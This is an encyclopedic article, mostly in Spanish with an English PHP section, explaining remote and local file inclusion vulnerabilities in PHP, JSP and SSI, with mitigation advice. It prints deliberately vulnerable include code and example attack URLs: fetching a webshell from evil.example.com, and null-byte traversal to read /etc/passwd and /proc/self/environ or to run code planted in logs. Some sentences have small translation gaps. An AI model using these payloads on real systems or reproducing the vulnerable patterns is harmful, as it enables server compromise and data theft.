Una vulnerabilidad de inclusión de archivos es un tipo de vulnerabilidad web que afecta con mayor frecuencia a aplicaciones web que dependen de un entorno de ejecución de scripts . Este problema se produce cuando una aplicación crea una ruta a código ejecutable utilizando una variable controlada por el atacante, de manera que este pueda controlar qué archivo se ejecuta en tiempo de ejecución. Una vulnerabilidad de inclusión de archivos se distingue de un ataque genérico de recorrido de directorios , ya que este último es una forma de obtener acceso no autorizado al sistema de archivos , mientras que una vulnerabilidad de inclusión de archivos subvierte la forma en que una aplicación carga el código para su ejecución. La explotación exitosa de una vulnerabilidad de inclusión de archivos resultará en la ejecución remota de código en el servidor web que ejecuta la aplicación web afectada. Un atacante puede usar la ejecución remota de código para crear un shell web en el servidor web, que puede usarse para desfigurar sitios web .
Tipos de inclusión
Inclusión remota de archivos
La inclusión remota de archivos ( RFI , por sus siglas en inglés) se produce cuando la aplicación web descarga y ejecuta un archivo remoto. Estos archivos remotos suelen obtenerse en forma de una URI HTTP o FTP como parámetro proporcionado por el usuario a la aplicación web.
Inclusión de archivos locales
La inclusión de archivos locales ( LFI ) es similar a una vulnerabilidad de inclusión de archivos remotos, con la diferencia de que, en lugar de incluir archivos remotos, solo se pueden incluir archivos locales (es decir, archivos del servidor actual) para su ejecución. Este problema aún puede conducir a la ejecución remota de código al incluir un archivo que contenga datos controlados por el atacante, como los registros de acceso del servidor web.
Lenguajes de programación
La vulnerabilidad de inclusión de archivos se produce principalmente en lenguajes de programación que dependen de la inclusión dinámica de archivos, como PHP y JavaScript. Estos lenguajes son interpretados , no compilados. Los lenguajes que utilizan la inclusión de archivos para incluir bibliotecas, como C y C++ , no necesariamente sufren el mismo tipo de vulnerabilidad, ya que se gestionan mediante preprocesamiento en lugar de dinámicamente. Sin embargo, siguen siendo vulnerables a recorridos de ruta fopen()y desbordamientos de búfer .
PHP
In PHP the main cause is due to the use of unvalidated user-input with a filesystem function that includes a file for execution. Most notable are the include and require statements. Most of the vulnerabilities can be attributed to novice programmers not being familiar with all of the capabilities of the PHP programming language. The PHP language has a directive which, if enabled, allows filesystem functions to use a URL to retrieve data from remote locations.[1] The directive is allow_url_fopen in PHP versions <= 4.3.4 and allow_url_include since PHP 5.2.0. In PHP 5.x this directive is disabled by default, in prior versions it was enabled by default.[2] To exploit the vulnerability an attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource. To mitigate this vulnerability all user input needs to be validated before being used.[3][4]
Example
Consider this PHP script which includes a file specified by request:
<?phpif(isset($_GET['language'])){include($_GET['language'].'.php');}?><formmethod="get"><selectname="language"><optionvalue="english">English</option><optionvalue="french">French</option> ... </select><inputtype="submit"></form>The developer intended to read in english.php or french.php, which will alter the application's behavior to display the language of the user's choice. But it is possible to inject another path using the language parameter.
/vulnerable.php?language=http://evil.example.com/webshell.txt?- injects a remotely hosted file containing a malicious code (remote file include)/vulnerable.php?language=C:\\ftp\\upload\\exploit- Executes code from an already uploaded file calledexploit.php(local file inclusion vulnerability)/vulnerable.php?language=C:\\notes.txt%00- ejemplo usando el carácter meta NULL para eliminar el sufijo, permitiendo el acceso a archivos distintos de . Este uso de inyección de byte nulo fue parcheado en PHP 5.3 y ya no se puede usar para ataques LFI/RFI. [ 5 ].php.php/vulnerable.php?language=../../../../../etc/passwd%00- Permite a un atacante leer el contenido del/etc/passwdarchivo en un sistema tipo Unix a través de un ataque de recorrido de directorios ./vulnerable.php?language=../../../../../proc/self/environ%00- permite a un atacante leer el contenido del/proc/self/environarchivo en un sistema tipo Unix a través de un ataque de recorrido de directorios . Un atacante puede modificar un encabezado HTTP (comoUser-Agent) en este ataque para que sea código PHP para explotar la ejecución remota de código .
La mejor solución en este caso es usar una lista blanca de parámetros de idioma aceptados. Si no se puede usar un método robusto de validación de entrada, como una lista blanca, entonces se puede recurrir al filtrado de entrada o a la validación de la ruta proporcionada para asegurar que no contenga caracteres ni patrones de caracteres no deseados. Sin embargo, esto puede requerir prever todas las posibles combinaciones de caracteres problemáticas. Una solución más segura es usar una instrucción Switch/Case predefinida para determinar qué archivo incluir, en lugar de usar una URL o un parámetro de formulario para generar la ruta dinámicamente.
Páginas del servidor de Yakarta (JSP)
Jakarta Server Pages (JSP; anteriormente JavaServer Pages) es un lenguaje de scripting similar a PHP pero que se ejecuta en Java y que puede incluir archivos para su ejecución en tiempo de ejecución.
Ejemplo
El siguiente script es vulnerable a una vulnerabilidad de inclusión de archivos:
<% String p = request . getParameter ( "p" ); @include file = "<%=" includes / " + p +" . jsp " %> " %> /vulnerable.jsp?p=../../../../var/log/access.log%00- A diferencia de PHP, JSP todavía se ve afectado por la inyección de bytes nulos, y este parámetro ejecutará los comandos JSP que se encuentren en el registro de acceso del servidor web.
Inclusiones del lado del servidor (SSI)
Una inclusión del lado del servidor es muy poco común y normalmente no está habilitada en un servidor web predeterminado. Una inclusión del lado del servidor puede usarse para obtener ejecución remota de código en un servidor web vulnerable. [ 6 ]
Ejemplo
El siguiente código es vulnerable a una vulnerabilidad de inclusión de archivos remotos:
< !DOCTYPE html > <html> <head> <title> Archivo de prueba </title> </head> <body> < ! -- # include file = " USER_LANGUAGE " -- > </body> </html>El código anterior no es una vulnerabilidad XSS , sino que incluye un nuevo archivo que será ejecutado por el servidor.
Véase también
- Ataque (informática)
- Inyección de código
- Metasploit Project , una herramienta de pruebas de penetración de código abierto que incluye pruebas para RFI
- Inyección SQL
- Amenaza (informática)
- w3af , un escáner de seguridad de aplicaciones web de código abierto
- Vulnerabilidad de credenciales predeterminadas
Referencias
- ↑ "Uso de archivos remotos" . PHP . Consultado el 3 de marzo de 2013 .
- ↑ "Lista de directivas php.ini" . PHP . Consultado el 21 de octubre de 2016 .
- ↑ "Inclusión remota de archivos" . El Consorcio de Seguridad de Aplicaciones Web . Consultado el 3 de marzo de 2013 .
- ↑ "CWE-98: Control inadecuado del nombre de archivo para la instrucción Include/Require en un programa PHP ('PHP Remote File Inclusion')" . Enumeración de debilidades comunes (CWE) . Mitre . Consultado el 3 de marzo de 2013 .
- ↑ "PHP :: Solicitud n.º 39863 :: file_exists() trunca silenciosamente después de un byte nulo" . bugs.php.net . Consultado el 21/10/2016 .
- ↑ "Tutorial de Apache httpd: Introducción a las inclusiones del lado del servidor - Servidor HTTP Apache versión 2.4" . httpd.apache.org . Consultado el 21 de octubre de 2016 .
Enlaces externos
- Inclusión remota de archivos en el Consorcio de Seguridad de Aplicaciones Web
- Inclusión de archivos locales
- Inclusión de archivos locales y eliminación en WordPress en WP Hacked Help
- Explotación de inyecciones
- vulnerabilidades de seguridad web